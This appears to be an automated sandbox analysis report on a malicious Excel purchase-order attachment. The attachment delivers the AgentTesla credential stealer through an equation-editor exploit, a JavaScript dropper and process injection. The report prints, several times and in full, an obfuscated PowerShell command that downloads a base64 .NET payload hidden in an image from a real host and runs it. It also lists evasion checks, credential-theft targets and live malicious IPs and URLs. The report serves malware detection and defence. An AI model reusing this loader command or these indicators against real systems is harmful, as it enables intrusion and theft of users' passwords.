Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 598720 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: AddInProcess32.exe, 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware
Source: AddInProcess32.exe, 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00205318 CheckRemoteDebuggerPresent, 8_2_00205318
Checks if the current process is being debugged
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process queried: DebugPort Jump to behavior
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520629 mov edx, dword ptr fs:[00000030h] 2_2_03520629
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 41.216.183.13 80 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR
.NET source code references suspicious native API functions
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref *(string*)(&name)), ref *(string*)(&method)), typeof(CreateApi)))
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num7 + num14, array2, array2.Length, ref bytesWritten)
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: lIuveTP8wwjVYKV1XP(VirtualAllocEx, processInformation.ProcessHandle, 0, length, 12288, 64)
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num15 + 8, ref buffer, 4, ref bytesWritten)
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, uRcQkDeJoO4.cs Reference to suspicious API methods: zHSk.OpenProcess(C6Nh1Wz8.DuplicateHandle, bInheritHandle: true, (uint)_4aIajlwkXEt2.ProcessID)
Injects a PE file into a foreign processes
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command ".( $pshome[21]+$pshome[34]+'x') ( ('t0vlink = amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235ama; t0vwebclient = new-object system.net.webclient; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch'+' { write-host amafailed to do'+'wnload data from t0vlin'+'kama -foregroundcolor red'+'; exit }; if ('+'t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::ut'+'f8.getstring(t0vdownloadeddata); t0vstartflag = ama<<base64_start>>ama; t0vendflag = ama<<base64_end>>ama; t0vstartindex = t0vimagetext.indexof(t0vstartflag); t0vendindex = t0vimagetext.indexof(t0vendflag); if (t0vstartindex -ge 0 -and t0vendindex -gt t0vstart'+'index) { t0vstartindex += t0vstartf'+'lag.length; t0vbase64len'+'gth = t0vendindex - t0vstartindex; t0vba'+'se64command = t0vimagetext.substring(t0vstartindex, t0vb'+'ase64length); t0vcommandbytes = [system.convert]::frombase64string(t0vbase64c'+'ommand); t0vloadedassembly = [system.reflection.as'+'sembly]::load(t0vcommandbytes); t0vtype = t'+'0vloadedassembly.gettype('+'amarunpe.homeama); t0vmethod = t0vtype.getmethod(amavaiama).invoke(t'+'0vnull, [object[]] (amatxt.esablanoitidartruo/651'+'.342.3.291//:ptthama , '+'amadesativadoama , amadesativadoama'+' , amade'+'sativadoama,amaaddinpro'+'cess32ama,amaama)) } }set scriptblock t0vlink = amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612am'+'a; t0vwebclient = new-o'+'bject system.net.webclien'+'t; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch { write-host amafailed to download data from t0vlinkama -foregroundcolor red; exit }; if (t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::utf8.'+'getstring(t0vdownloadeddata); t0vstartflag '+'= ama<<base64_start>>ama; t0vendflag = ama<<base64_end'+'>>ama; t0vstartindex = t'+'0vi'+'magetext.indexof(t0vstartflag'+'); t0vendindex = t0vimagetext.index'+'of(t0vendflag); if (t0vstartindex '+'-g'+'e 0 -and t0vendindex -gt t0vstartindex) { '+'t0vstartindex += t0vstartflag.length; t0vbase64l'+'ength = t0vendindex - t0vstartindex; t0vbase64command'+' = t0vimagetext.substring(t0vstartindex, t0vbase64length); t0vcommandb'+'ytes = [sy'+'stem.convert]:'+':frombase64string(t0vbase64command); t0vloadedassembly = [system.reflection.assembly]::load(t0vcommandbytes); t0vtype = t0vloadedassembly.'+'gettype(amarunpe.homeama); t0vmethod ='+' t0vtype.getmet'+'hod(amavaiama).invoke(t0vnull,'+' [ob'+'ject[]] (amatxt.esabla'+'noitidartruo/651.342.'+'3.291//:ptthama , amadesativadoama , amadesativadoama , amadesativadoama,amaaddinprocess32ama,amadesativadoama)) } }').replace('t0v','$').replace(([char]65+[char]109+[char]97),[string][char]39) )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command ".( $pshome[21]+$pshome[34]+'x') ( ('t0vlink = amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235ama; t0vwebclient = new-object system.net.webclient; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch'+' { write-host amafailed to do'+'wnload data from t0vlin'+'kama -foregroundcolor red'+'; exit }; if ('+'t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::ut'+'f8.getstring(t0vdownloadeddata); t0vstartflag = ama<<base64_start>>ama; t0vendflag = ama<<base64_end>>ama; t0vstartindex = t0vimagetext.indexof(t0vstartflag); t0vendindex = t0vimagetext.indexof(t0vendflag); if (t0vstartindex -ge 0 -and t0vendindex -gt t0vstart'+'index) { t0vstartindex += t0vstartf'+'lag.length; t0vbase64len'+'gth = t0vendindex - t0vstartindex; t0vba'+'se64command = t0vimagetext.substring(t0vstartindex, t0vb'+'ase64length); t0vcommandbytes = [system.convert]::frombase64string(t0vbase64c'+'ommand); t0vloadedassembly = [system.reflection.as'+'sembly]::load(t0vcommandbytes); t0vtype = t'+'0vloadedassembly.gettype('+'amarunpe.homeama); t0vmethod = t0vtype.getmethod(amavaiama).invoke(t'+'0vnull, [object[]] (amatxt.esablanoitidartruo/651'+'.342.3.291//:ptthama , '+'amadesativadoama , amadesativadoama'+' , amade'+'sativadoama,amaaddinpro'+'cess32ama,amaama)) } }set scriptblock t0vlink = amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612am'+'a; t0vwebclient = new-o'+'bject system.net.webclien'+'t; try { t0vdownloadeddata = t0vwebclient.downloaddata(t0vlink) } catch { write-host amafailed to download data from t0vlinkama -foregroundcolor red; exit }; if (t0vdownloadeddata -ne t0vnull) { t0vimagetext = [system.text.encoding]::utf8.'+'getstring(t0vdownloadeddata); t0vstartflag '+'= ama<<base64_start>>ama; t0vendflag = ama<<base64_end'+'>>ama; t0vstartindex = t'+'0vi'+'magetext.indexof(t0vstartflag'+'); t0vendindex = t0vimagetext.index'+'of(t0vendflag); if (t0vstartindex '+'-g'+'e 0 -and t0vendindex -gt t0vstartindex) { '+'t0vstartindex += t0vstartflag.length; t0vbase64l'+'ength = t0vendindex - t0vstartindex; t0vbase64command'+' = t0vimagetext.substring(t0vstartindex, t0vbase64length); t0vcommandb'+'ytes = [sy'+'stem.convert]:'+':frombase64string(t0vbase64command); t0vloadedassembly = [system.reflection.assembly]::load(t0vcommandbytes); t0vtype = t0vloadedassembly.'+'gettype(amarunpe.homeama); t0vmethod ='+' t0vtype.getmet'+'hod(amavaiama).invoke(t0vnull,'+' [ob'+'ject[]] (amatxt.esabla'+'noitidartruo/651.342.'+'3.291//:ptthama , amadesativadoama , amadesativadoama , amadesativadoama,amaaddinprocess32ama,amadesativadoama)) } }').replace('t0v','$').replace(([char]65+[char]109+[char]97),[string][char]39) )" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3000, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.478863572.0000000002545000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3000, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 1652, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3000, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1465900 Sample: orden de compra.xlam.xlsx Startdate: 02/07/2024 Architecture: WINDOWS Score: 100 43 Snort IDS alert for network traffic 2->43 45 Multi AV Scanner detection for domain / URL 2->45 47 Found malware configuration 2->47 49 24 other signatures 2->49 9 EXCEL.EXE 6 9 2->9         started        process3 file4 31 C:\Users\user\...\~$orden de compra.xlam.xlsx, data 9->31 dropped 12 EQNEDT32.EXE 12 9->12         started        process5 dnsIp6 41 192.3.243.156, 49161, 49164, 49167 AS-COLOCROSSINGUS United States 12->41 33 C:\Users\user\AppData\...\portugalslovenia.js, Unicode 12->33 dropped 77 Office equation editor establishes network connection 12->77 79 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 12->79 17 wscript.exe 1 12->17         started        file7 signatures8 process9 dnsIp10 35 41.216.183.13, 49162, 80 AS40676US South Africa 17->35 51 System process connects to network (likely due to code injection or exploit) 17->51 53 Suspicious powershell command line found 17->53 55 Wscript starts Powershell (via cmd or directly) 17->55 57 4 other signatures 17->57 21 powershell.exe 12 5 17->21         started        signatures11 process12 dnsIp13 37 uploaddeimagens.com.br 188.114.96.3, 443, 49163, 49165 CLOUDFLARENETUS European Union 21->37 59 Installs new ROOT certificates 21->59 61 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 21->61 63 Writes to foreign memory regions 21->63 65 Injects a PE file into a foreign processes 21->65 25 AddInProcess32.exe 12 2 21->25         started        29 AddInProcess32.exe 2 21->29         started        signatures14 process15 dnsIp16 39 ip-api.com 208.95.112.1, 49166, 49168, 80 TUT-ASUS United States 25->39 67 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 25->67 69 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 25->69 71 Tries to steal Mail credentials (via file / registry access) 25->71 75 2 other signatures 25->75 73 Tries to harvest and steal browser information (history, passwords, etc) 29->73 signatures17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS true
188.114.96.3
 uploaddeimagens.com.br European Union
13335 CLOUDFLARENETUS false
192.3.243.156
 unknown United States
36352 AS-COLOCROSSINGUS true
41.216.183.13
 unknown South Africa
40676 AS40676US true

Contacted Domains

Name IP Active
ip-api.com 208.95.112.1 true
uploaddeimagens.com.br 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://192.3.243.156/portugalslovenia.jpeg true
  • Avira URL Cloud: safe
 unknown
http://192.3.243.156/ourTraditionalbase.txt true
  • 13%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235 true
  • 5%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://ip-api.com/line/?fields=hosting false
  • URL Reputation: safe
 unknown